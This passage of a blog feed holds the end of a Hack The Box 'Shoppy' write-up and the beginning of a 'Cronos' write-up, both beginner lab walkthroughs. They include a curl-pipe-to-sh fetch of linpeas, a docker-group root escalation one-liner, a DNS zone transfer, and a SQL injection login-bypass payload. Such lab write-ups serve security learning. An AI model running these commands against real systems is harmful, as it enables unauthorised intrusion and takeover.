&lt;p&gt;I don't know what else to do, so I'm going to run linpeas. You can either transfer the file like earlier using &lt;code&gt;nc&lt;/code&gt;, transfer it with a simple &lt;code&gt;python&lt;/code&gt; webserver, or you can grab it directly from github with &lt;code&gt;curl&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Since we don't care about stealth, we can just run this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# From github
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you'd like to use &lt;code&gt;python&lt;/code&gt; (like I did), it will look something like this:&lt;/p&gt;

&lt;p&gt;Client machine:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2az477xe02o3x0oopcmw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2az477xe02o3x0oopcmw.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Target machine:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhph0320tusgw3fbrk5k5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhph0320tusgw3fbrk5k5.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Linpeas has a lot of information in it (which means a lot of scrolling!), so I prefer to run it and send it to an output file to retrieve and parse through at my leisure. In order to do this, I used the &lt;code&gt;&amp;gt;&lt;/code&gt; redirect operator to write to a file called &lt;code&gt;output.txt&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;bash linpeas.sh &amp;gt; output.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Let's &lt;code&gt;less&lt;/code&gt; the file: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdoh1gr4ei0jqv51rj25f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdoh1gr4ei0jqv51rj25f.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That output was very ugly, so I decided to go with &lt;code&gt;bash linpeas.sh -Nq &amp;gt; output2.txt&lt;/code&gt; instead to remove color and banners.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6h5otooipunbaokauqns.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6h5otooipunbaokauqns.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Much better.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;*I completed this box a while ago, and since then I've read the linpeas documentation and learned that I could have used &lt;code&gt;less -r output.txt&lt;/code&gt; for the first file, and it would have displayed with color. Again, if you see something like the first picture, just use &lt;code&gt;less -r&lt;/code&gt;!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;After reading all of the linpeas output extensively and researching attack vectors, &lt;strong&gt;I decided to ask someone for help.&lt;/strong&gt; I only mention this because I want to make sure that I remain honest about every single line of code I write, and I take that very seriously. It's alright to ask for help when you're stuck. No one is a master at everything instantly.&lt;/p&gt;

&lt;p&gt;The hint I was given was "Did you see in which group deploy user is in?" The path was in the GID all along. Nothing super complicated, nothing extremely advanced. I just had to go back to the basics. &lt;/p&gt;

&lt;h2&gt;
  
  
  The group
&lt;/h2&gt;

&lt;p&gt;We can find the group id by using the &lt;code&gt;id&lt;/code&gt; command:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn77cay591zlowtnmuyqj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn77cay591zlowtnmuyqj.png" alt="Image description"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;deploy@shoppy:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;deploy&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;deploy&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;deploy&lt;span class="o"&gt;)&lt;/span&gt;,998&lt;span class="o"&gt;(&lt;/span&gt;docker&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The GID shows that we're a part of the &lt;code&gt;docker&lt;/code&gt; group.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.linuxquestions.org/questions/linux-general-1/how-to-find-all-a-gid%27s-files-19276/" rel="noopener noreferrer"&gt;Let's search for files with our GID.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftg10rc2imhu6wrab3ssm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftg10rc2imhu6wrab3ssm.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;you can specify either with the -gid or -group options.. example:&lt;br&gt;
$ &lt;strong&gt;find / -name filename -gid 101&lt;/strong&gt;&lt;br&gt;
or with the group name like:&lt;br&gt;
$ &lt;strong&gt;fine / -name filename -group users&lt;/strong&gt;&lt;br&gt;
man find for more info....&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;find / -name filename -gid 998&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft30l35jtrxmi8cliat4b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft30l35jtrxmi8cliat4b.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That's way too many "permission denied" messages. Let's see if we can filter that out with &lt;code&gt;grep&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;find / -name filename -gid 998 2&amp;gt;&amp;amp;1 | grep -v "Permission denied"&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;find / -name filename -gid 1001 2&amp;gt;&amp;amp;1 | grep -v "Permission denied"&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fml3viyg5ptz1xya9x4yd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fml3viyg5ptz1xya9x4yd.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That was a bust. Let's try a different approach. Since we're in the &lt;code&gt;docker&lt;/code&gt; group, this means that we can run the actual docker binary. Maybe we should look to see if there are any ways to escalate to root using that program. &lt;/p&gt;

&lt;p&gt;After a bit of research, I found that one of my favorite sites had an entry for the docker binary. &lt;a href="https://gtfobins.github.io/gtfobins/docker/" rel="noopener noreferrer"&gt;GTFOBins is an amazing website to use when standard binaries have elevated privileges like SUID, SGID, or something similar.&lt;/a&gt; This site is a quick way to see if there are ways to break out of a restricted shell. &lt;/p&gt;

&lt;p&gt;With out further ado, let's GTFO of docker!&lt;/p&gt;

&lt;p&gt;To achieve a root shell, all we have to do is run the following command: &lt;/p&gt;

&lt;p&gt;&lt;code&gt;docker run -v /:/mnt --rm -it alpine chroot /mnt sh&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Before we run it, let's see what it actually does:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-v&lt;/code&gt; Defines the volume to mount to. This allows us to share filesystems between the container and the host machine. When using docker operationally, I use docker's volume feature to ensure that my data persists between each deployment. &lt;/p&gt;

&lt;p&gt;From the &lt;strong&gt;dock&lt;/strong&gt;umentation itself:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;-v or --volume: Consists of three fields, separated by colon characters (:). The fields must be in the correct order, and the meaning of each field is not immediately obvious.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In the case of named volumes, the first field is the name of the volume, and is unique on a given host machine. For anonymous volumes, the first field is omitted.&lt;/li&gt;
&lt;li&gt;The second field is the path where the file or directory are mounted in the container.&lt;/li&gt;
&lt;li&gt;The third field is optional, and is a comma-separated list of options, such as ro.&lt;/li&gt;
&lt;/ul&gt;


&lt;/blockquote&gt;

&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;--rm&lt;/code&gt; simply removes a container. &lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;-i&lt;/code&gt; or &lt;code&gt;--interactive&lt;/code&gt; is for keeping  STDIN open, even if the container isn't attached.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;-t&lt;/code&gt; or &lt;code&gt;--tty&lt;/code&gt; allocates a psuedo TTY that allows us to interact with the container like a normal shell.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;alpine&lt;/code&gt; is the base Linux image used in many containers. This image is just to hold the shell. It has most basic functions and features of a standard Unix machine.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;chroot&lt;/code&gt; is the actual command we're using to set the &lt;code&gt;/mnt&lt;/code&gt; directory as our new root. &lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;sh&lt;/code&gt; simply allows us to use &lt;code&gt;/bin/sh&lt;/code&gt; as our interpreter for our shell&lt;/p&gt;&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa2ob9q8h69qin2fn9izy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa2ob9q8h69qin2fn9izy.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It worked! I'm so glad I wasn't afraid to ask for help. Thank you so much &lt;a href="https://app.hackthebox.com/users/283411" rel="noopener noreferrer"&gt;ARZ101&lt;/a&gt;!&lt;/p&gt;

</description>
      <category>security</category>
      <category>hackthebox</category>
      <category>cybersecurity</category>
      <category>writeup</category>
    </item>
    <item>
      <title>Hack The Box Writeup: Cronos</title>
      <dc:creator>SSHad0w</dc:creator>
      <pubDate>Sun, 05 Jun 2022 15:13:34 +0000</pubDate>
      <link>https://forem.com/sshad0w/hack-the-box-writeup-cronos-21bn</link>
      <guid>https://forem.com/sshad0w/hack-the-box-writeup-cronos-21bn</guid>
      <description>&lt;p&gt;This is a beginner-friendly writeup of Cronos on Hack The Box. I hope you learn something because I sure did! Be sure to comment if you have any questions!&lt;/p&gt;

&lt;h2&gt;
  
  
  Addding the domain to &lt;code&gt;/etc/hosts&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://library.netapp.com/ecmdocs/ECMP1155586/html/GUID-DBF81E5C-CF3C-4B07-AF01-83A625F2B4BF.html"&gt;Before we do anything, we're going to add the IP to &lt;code&gt;/etc/hosts&lt;/code&gt;.&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Recon
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Nmap
&lt;/h2&gt;

&lt;p&gt;As always, we start with a &lt;a href="https://nmap.org/"&gt;nmap&lt;/a&gt; scan:&lt;/p&gt;

&lt;h1&gt;
  
  
  Nmap scan
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Cronos
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Port 80
&lt;/h2&gt;

&lt;p&gt;Port 80 is a standard port. Let's see if there's anything on it. Let's view it in the browser:&lt;/p&gt;

&lt;p&gt;We get a webpge:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--y64kp9kN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0qi3tqr07wlj9mq3gh0g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--y64kp9kN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0qi3tqr07wlj9mq3gh0g.png" alt="Image description" width="880" height="444"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By right-clicking the webpage, we can click the "inspect"  option from the drop-down menu.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--7s2Kgy-W--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1cwaetrdo1qh6nmx0zqq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--7s2Kgy-W--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1cwaetrdo1qh6nmx0zqq.png" alt="Image description" width="880" height="312"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Viewing the page's source code allows us to see that the website uses a framework called "larvel". It seems to be a web framework built in PHP.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--oD7iC0mK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o0kmg76cj40dd3tyfdjl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--oD7iC0mK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o0kmg76cj40dd3tyfdjl.png" alt="Image description" width="880" height="524"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  Wappalyzer
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.wappalyzer.com/"&gt;Wappalyzer&lt;/a&gt; is a fantastic tool for easy investigation of back-end web technologies. It's a simple browser extension that can be installed on firefox.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--J3MSVTkm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6orv4psvmrwuny9nvyi9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--J3MSVTkm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6orv4psvmrwuny9nvyi9.png" alt="Image description" width="741" height="521"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  Technologies
&lt;/h3&gt;

&lt;p&gt;With the help of Wappalyzer, we now have the infrastructure and version numbers of the webserver. This may be important later.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;apache.2.4.18&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Ubuntu&lt;/code&gt;&lt;br&gt;
&lt;code&gt;PHP&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  port 53
&lt;/h2&gt;

&lt;p&gt;Before we attempt to hammer port 80, let's enumerate more. Port 53 is also available, which means we may be able to do some trickery with DNS.&lt;/p&gt;

&lt;p&gt;Version info: &lt;br&gt;
&lt;code&gt;dnsmasq-2.80&lt;/code&gt;&lt;br&gt;
&lt;code&gt;9.10.3-P4-Ubuntu&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Dig
&lt;/h3&gt;

&lt;p&gt;&lt;a href="http://www.skrenta.com/rt/man/dig.1.html"&gt;Dig&lt;/a&gt; is an excellent tool for enumerating DNS. &lt;/p&gt;

&lt;p&gt;Let's first run &lt;code&gt;dig cronos.htb&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.16.15-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; version.bind CHAOS TXT 10.10.10.13
;; global options: +cmd
;; Got answer:
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 33359
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; MBZ: 0x0005, udp: 4096
;; QUESTION SECTION:
;version.bind.          CH  TXT

;; ANSWER SECTION:
version.bind.       5   CH  TXT "dnsmasq-2.80"

;; Query time: 136 msec
;; SERVER: 192.168.74.2#53(192.168.74.2)
;; WHEN: Thu Nov 11 19:23:29 EST 2021
;; MSG SIZE  rcvd: 66

;; Got answer:
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NXDOMAIN, id: 7393
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; MBZ: 0x0005, udp: 4096
;; QUESTION SECTION:
;10.10.10.13.           IN  A

;; Query time: 84 msec
;; SERVER: 192.168.74.2#53(192.168.74.2)
;; WHEN: Thu Nov 11 19:23:29 EST 2021
;; MSG SIZE  rcvd: 40
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For the sake of brevity, I'll leave &lt;a href="https://mediatemple.net/community/products/all/204644130/understanding-the-dig-command"&gt;interpreting the output&lt;/a&gt; up to the reader, but we now have a general idea of what it looks like to run &lt;code&gt;dig&lt;/code&gt; with no switches &lt;/p&gt;

&lt;p&gt;&lt;a href="https://linuxize.com/post/how-to-use-dig-command-to-query-dns-in-linux/"&gt;Let's take a more targeted approach.&lt;/a&gt; We will attempt a DNS zone transfer.&lt;/p&gt;

&lt;p&gt;### What is a DNS zone transfer?&lt;/p&gt;

&lt;p&gt;A DNS zone transfer is when one DNS server needs to give a copy of DNS records to a different DNS server. In an enterprise environment, this is very routine and necessary for each DNS server to have an updated record of DNS records. However, this is a double-edged sword. Hackers can use this functionality to gain access to internal domains inside of an organization. If the attacker copies the DNS records to their local machine, they can now identify and target domains previously unbeknownst to them.&lt;/p&gt;

&lt;p&gt;The syntax for a zone transfer is:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;dig axfr cronos.htb&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Why is the syntax "axfr"? &lt;a href="https://datatracker.ietf.org/doc/html/rfc5936"&gt;here's the original RFC.&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; ; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.16.15-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; @10.10.10.13 cronos.htb mx
; (1 server found)
;; global options: +cmd
;; Got answer:
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 37022
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;cronos.htb.                    IN      MX

;; AUTHORITY SECTION:
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800

;; Query time: 99 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Fri Nov 12 09:30:50 EST 2021
;; MSG SIZE  rcvd: 81
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The authority section shows alternate subnets.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;;; AUTHORITY SECTION:
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We now have a new domain! Our zone transfer revealed a new domain. &lt;code&gt;Admin.cronos.htb&lt;/code&gt; Let's investigate.&lt;/p&gt;

&lt;h3&gt;
  
  
  Admin.cronos.htb
&lt;/h3&gt;

&lt;p&gt;When we head to the domain in our browser, we're greeted with a simple login page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--B2fqGpiL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e7370ismb2rhc961ovmu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--B2fqGpiL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e7370ismb2rhc961ovmu.png" alt="Image description" width="880" height="230"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;h1&gt;
  
  
  Exploitation
&lt;/h1&gt;

&lt;p&gt;Now that we've done some reconnaissance, we've gathered enough information to attempt to exploit the server. &lt;/p&gt;

&lt;h2&gt;
  
  
  SQL injection
&lt;/h2&gt;

&lt;p&gt;After some manual fuzzing, we find that the form is vulnerable to &lt;a href="https://portswigger.net/web-security/sql-injection"&gt;SQL injection&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;payload "&lt;code&gt;admin' or 1=1;#&lt;/code&gt;"&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Afu9PfB5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k7sxx7x5cqizgmz37855.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Afu9PfB5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k7sxx7x5cqizgmz37855.png" alt="Image description" width="880" height="364"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  Net Tool
&lt;/h2&gt;

&lt;p&gt;Now that we've bypassed the login, we've found a simple tool. Upon first glance, the tool seems like it can run a few select commands, and the user is allowed to provide arguments.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--sGzV-l8t--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nowsfp5la6r457vxp9lo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--sGzV-l8t--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nowsfp5la6r457vxp9lo.png" alt="Image description" width="768" height="312"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;It seems that we can run the &lt;code&gt;traceroute&lt;/code&gt; and &lt;code&gt;ping&lt;/code&gt; commands. More than likely, this tool is vulnerable to &lt;a href="https://portswigger.net/web-security/os-command-injection"&gt;OS command injection.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--EplmCZPP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fdxzeiy8j47q8ealux23.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--EplmCZPP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fdxzeiy8j47q8ealux23.png" alt="Image description" width="738" height="256"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  OS Command Injection
&lt;/h2&gt;

&lt;p&gt;We see that the tool has hardcoded options, but we can probably control the commands manually in &lt;a href="https://portswigger.net/burp"&gt;burp suite&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--6Z0IbXbY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tcsf02ra33xb1aeabq4o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--6Z0IbXbY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tcsf02ra33xb1aeabq4o.png" alt="Image description" width="689" height="390"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;So it's hardcoded here, but we can probably edit this in burp.&lt;/p&gt;

